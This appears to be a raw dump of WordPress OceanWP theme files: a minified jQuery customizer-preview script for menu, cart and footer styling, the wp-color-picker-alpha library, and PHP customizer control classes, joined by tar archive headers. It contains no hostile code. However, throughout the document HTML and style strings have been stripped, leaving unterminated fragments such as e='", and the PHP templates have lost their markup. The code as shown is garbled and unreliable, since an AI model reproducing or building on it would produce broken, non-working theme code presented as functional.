o=n(".customizer-ocean_menu_items_padding");e&&!n("#site-header").hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_menu_items_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_medium_header_menu_items_padding");e&&n("#site-header").hasClass("medium-header")?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_color_active",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_color_active");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_hover_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_hover_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_link_active_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_link_active_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_menu_bag_icon_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_menu_bag_icon_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_menu_bag_icon_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_menu_bag_icon_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_menu_bag_icon_count_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_menu_bag_icon_count_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_menu_bag_icon_hover_count_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_menu_bag_icon_hover_count_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_top_border",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_top_border");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_borders",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_borders");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_link_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_link_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_link_color_active",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_link_color_active");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_menu_link_bg_active",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_menu_link_bg_active");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_category_title_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_category_title_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_category_title_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_category_title_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_category_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_category_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_category_links_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_category_links_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_category_date_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_category_date_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_right_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_right_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_left_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_left_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_right_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_right_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_tablet_left_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_tablet_left_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_right_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_right_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_mobile_left_margin",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_mobile_left_margin");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_border_radius",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_border_radius");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_hover_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_hover_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_links_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_links_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_menu_social_hover_links_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_menu_social_hover_links_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_close_button_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_close_button_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_mobile_menu_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_mobile_menu_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_dropdowns_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_dropdowns_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_borders",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_borders");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_links",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_links");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_links_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_links_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_mobile_menu_links_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_mobile_menu_links_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_mobile_menu_links_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_mobile_menu_links_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_full_screen_mobile_menu_search_border_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_full_screen_mobile_menu_search_border_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_border_color_focus",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_border_color_focus");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_sidr_search_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_sidr_search_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_bg",function(e){e.bind(function(e){n(".current-shop-items-dropdown").css("background-color",e)})}),e("ocean_woo_cart_dropdown_borders",function(e){e.bind(function(e){n(".widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid.thumbnail, .widget_shopping_cart ul.cart_list li, .woocommerce ul.product_list_widget li:first-child, .widget_shopping_cart .total").css("border-color",e)})}),e("ocean_woo_cart_dropdown_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_remove_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_remove_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_remove_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_remove_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_quantity_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_quantity_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_price_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_price_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_subtotal_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_subtotal_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_subtotal_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_subtotal_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_total_price_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_total_price_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_cart_button_hover_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_cart_button_hover_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_cart_dropdown_checkout_button_border_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_cart_dropdown_checkout_button_border_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_mobile_cart_sidebar_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_mobile_cart_sidebar_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_mobile_cart_sidebar_close_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_mobile_cart_sidebar_close_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_mobile_cart_sidebar_title_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_mobile_cart_sidebar_title_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_woo_mobile_cart_sidebar_divider_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_woo_mobile_cart_sidebar_divider_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_borders",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_borders");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_footer_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_text_align",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_text_align");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_bottom_footer_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_bottom_footer_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_blog_posts_icons_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_blog_posts_icons_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_single_post_icons_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_single_post_icons_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})})}(jQuery);customizer/assets/js/wp-color-picker-alpha-min.js000064400000016161151551031110016103 0ustar00/**! * wp-color-picker-alpha * * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker * Only run in input and is defined data alpha in true * * Version: 2.1.4 * https://github.com/kallookoo/wp-color-picker-alpha * Licensed under the GPLv2 license or later. */ !function(t){if(!t.wp.wpColorPicker.prototype._hasAlpha){var o="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",r='
        ',e='
        ',a='',i='',l=!1;if("undefined"!=typeof wpColorPickerL10n){(l=void 0!==wpColorPickerL10n.current)&&(i='');var n=wpColorPickerL10n.defaultLabel,s=wpColorPickerL10n.pick,p=wpColorPickerL10n.defaultString,c=wpColorPickerL10n.defaultAriaLabel,d=wpColorPickerL10n.clear,g=wpColorPickerL10n.clearAriaLabel}else{var h=wp.i18n.__;n=h("Color value"),s=h("Select Color"),p=h("Default"),c=h("Select default color"),d=h("Clear"),g=h("Clear color")}Color.fn.toString=function(){if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var t=parseInt(this._color,10).toString(16);return this.error?"":(t.length<6&&(t=("00000"+t).substr(-6)),"#"+t)},t.widget("wp.wpColorPicker",t.wp.wpColorPicker,{_hasAlpha:!0,_create:function(){if(t.support.iris){var h=this,u=h.element;if(t.extend(h.options,u.data()),"hue"===h.options.type)return h._createHueOnly();h.close=t.proxy(h.close,h),h.initialValue=u.val(),u.addClass("wp-color-picker"),l?(u.hide().wrap(e),h.wrap=u.parent(),h.toggler=t(i).insertBefore(u).css({backgroundColor:h.initialValue}).attr("title",s).attr("data-current",wpColorPickerL10n.current),h.pickerContainer=t(r).insertAfter(u),h.button=t(a).addClass("hidden")):(u.parent("label").length||(u.wrap(""),h.wrappingLabelText=t('').insertBefore(u).text(n)),h.wrappingLabel=u.parent(),h.wrappingLabel.wrap(e),h.wrap=h.wrappingLabel.parent(),h.toggler=t(i).insertBefore(h.wrappingLabel).css({backgroundColor:h.initialValue}),h.toggler.find(".wp-color-result-text").text(s),h.pickerContainer=t(r).insertAfter(h.wrappingLabel),h.button=t(a)),h.options.defaultColor?(h.button.addClass("wp-picker-default").val(p),l||h.button.attr("aria-label",c)):(h.button.addClass("wp-picker-clear").val(d),l||h.button.attr("aria-label",g)),l?u.wrap('').after(h.button):(h.wrappingLabel.wrap('
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Customizer_Buttonset_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'text_radio_button'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { ?>
        label ) ) { ?> label ); ?> description ) ) { ?> description ); ?>
        choices as $key => $value ) { ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Customizer_Radio_Image_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'image_radio_button'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { ?>
